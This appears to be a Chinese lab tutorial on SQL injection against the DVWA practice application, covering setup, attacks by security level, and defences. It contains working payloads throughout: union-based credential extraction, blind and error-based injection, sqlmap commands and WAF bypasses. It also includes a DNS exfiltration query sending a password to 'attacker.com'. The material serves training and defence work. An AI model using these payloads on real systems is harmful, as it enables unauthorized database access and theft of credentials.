1. DVWA靶场与SQL注入基础认知
DVWA(Damn Vulnerable Web Application)是一个专为安全测试设计的PHP/MySQL Web应用,内置了SQL注入、XSS、文件包含等常见漏洞模块。它采用分级安全机制(Low/Medium/High/Impossible),模拟不同防护等级下的漏洞场景。在SQL注入实验中,DVWA的登录模块和用户查询功能是主要测试点。
SQL注入的本质是通过构造特殊输入,改变原始SQL语句的逻辑结构。当应用未对用户输入做充分过滤时,攻击者可以:
- 读取数据库敏感信息(如用户凭证)
- 修改/删除数据库内容
- 执行系统命令(在特定配置下)
注意:所有实验应在本地或授权环境中进行,未经授权的测试可能涉及法律风险
2. 实验环境搭建与配置
2.1 基础组件安装
推荐使用XAMPP集成环境(含Apache+MySQL+PHP):
# Kali Linux安装示例 sudo apt update && sudo apt install -y apache2 mysql-server php libapache2-mod-php sudo systemctl enable --now apache2 mysql2.2 DVWA部署步骤
- 下载最新版DVWA:
wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip -d /var/www/html/ mv /var/www/html/DVWA-master /var/www/html/dvwa- 配置文件修改:
// /var/www/html/dvwa/config/config.inc.php $_DVWA['db_user'] = 'dvwa'; $_DVWA['db_password'] = 'p@ssw0rd'; $_DVWA['db_database'] = 'dvwa';- 初始化数据库:
mysql -u root -p CREATE DATABASE dvwa; CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd'; GRANT ALL ON dvwa.* TO 'dvwa'@'localhost'; FLUSH PRIVILEGES;2.3 常见问题排查
- PHP函数禁用:检查
disable_functions是否包含exec等关键函数 - 文件权限问题:
chown -R www-data:www-data /var/www/html/dvwa - 数据库连接失败:确认MySQL的
bind-address设置为127.0.0.1
3. Low级别SQL注入实战
3.1 漏洞点定位
访问http://localhost/dvwa/vulnerabilities/sqli/,输入用户ID查询时,后端SQL语句为:
SELECT first_name, last_name FROM users WHERE user_id = '$input'3.2 基础注入手法
判断注入点:
1' and '1'='1 # 正常返回 1' and '1'='2 # 无结果获取数据库信息:
1' union select 1,database()--提取表结构:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--
3.3 完整利用链示例
# 获取users表字段 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'-- # 提取管理员凭证 1' union select user,password from users where user='admin'--4. Medium级别绕过技巧
4.1 防护机制分析
Medium级别使用mysql_real_escape_string()过滤输入,但存在数字型注入漏洞:
$id = $_POST['id']; // 未强制类型转换 $query = "SELECT first_name, last_name FROM users WHERE user_id = $id";4.2 攻击方案设计
布尔盲注:
id=1 and substring(database(),1,1)='d' # 通过返回结果判断时间盲注:
id=1 and if(ascii(substring(database(),1,1))=100,sleep(3),0)报错注入:
id=1 and extractvalue(1,concat(0x7e,(select user()),0x7e))
4.3 自动化工具辅助
使用sqlmap提高效率:
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=xxx" --batch5. High级别攻防对抗
5.1 防护机制升级
High级别采用预处理语句:
$stmt = $db->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?"); $stmt->bind_param("i", $id);5.2 二次注入利用
当应用存在数据回显功能时:
- 注册用户名为
admin'--的账号 - 修改密码时触发:
UPDATE users SET password='...' WHERE user='admin'-- '
5.3 HTTP头注入
利用User-Agent等头部:
GET /dvwa/vulnerabilities/sqli/ HTTP/1.1 User-Agent: ' union select 1,@@version--6. 防御方案深度解析
6.1 代码层防护
参数化查询(PHP示例):
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?"); $stmt->execute([$email]);白名单过滤:
if (!preg_match('/^\d+$/', $id)) { die("Invalid input"); }
6.2 架构层防护
| 防护措施 | 实施方式 | 效果评估 |
|---|---|---|
| WAF | ModSecurity规则集 | 阻断90%自动化攻击 |
| 数据库权限控制 | 应用账号仅授予最小权限 | 限制数据泄露范围 |
| 输入统一处理 | 所有输入经过安全过滤层 | 减少代码遗漏风险 |
6.3 运维监控方案
SQL日志审计:监控异常查询模式
# MySQL慢查询日志 slow_query_log = 1 long_query_time = 2HIDS检测:部署OSSEC等工具检测WEB目录变更
7. 实战中的疑难问题解决
7.1 特殊字符处理
当遇到addslashes()过滤时:
- 宽字节注入(GBK编码):
%df%27 → 運' (单引号被成功逃逸)
7.2 无回显场景利用
通过DNS外带数据:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share\\'));7.3 WAF绕过技巧
- 注释符变形:
/*!50400SELECT*/ 1 # MySQL版本特定语法 - 参数污染:
?id=1&id=2' union select 1,2--
8. 企业级安全加固建议
8.1 SDLC集成方案
开发阶段:
- 使用ORM框架(如Eloquent)
- 静态代码扫描(SonarQube)
测试阶段:
- DAST扫描(ZAP/Burp Suite)
- 模糊测试(sqlmap API模式)
8.2 红蓝对抗演练
设计SQL注入靶场场景:
- 基础注入点(Low)
- 过滤绕过(Medium)
- 多步骤利用链(High)
8.3 应急响应流程
graph TD A[发现异常请求] --> B[封锁攻击IP] B --> C[分析攻击payload] C --> D[修补漏洞] D --> E[重置受影响账户]在实际渗透测试中,我发现DVWA的Impossible级别虽然使用了CSRF令牌和严格的预处理,但如果会话管理存在缺陷(如可预测的PHPSESSID),仍可能通过组合攻击突破防御。建议安全团队不仅要关注单点防护,更要建立纵深防御体系。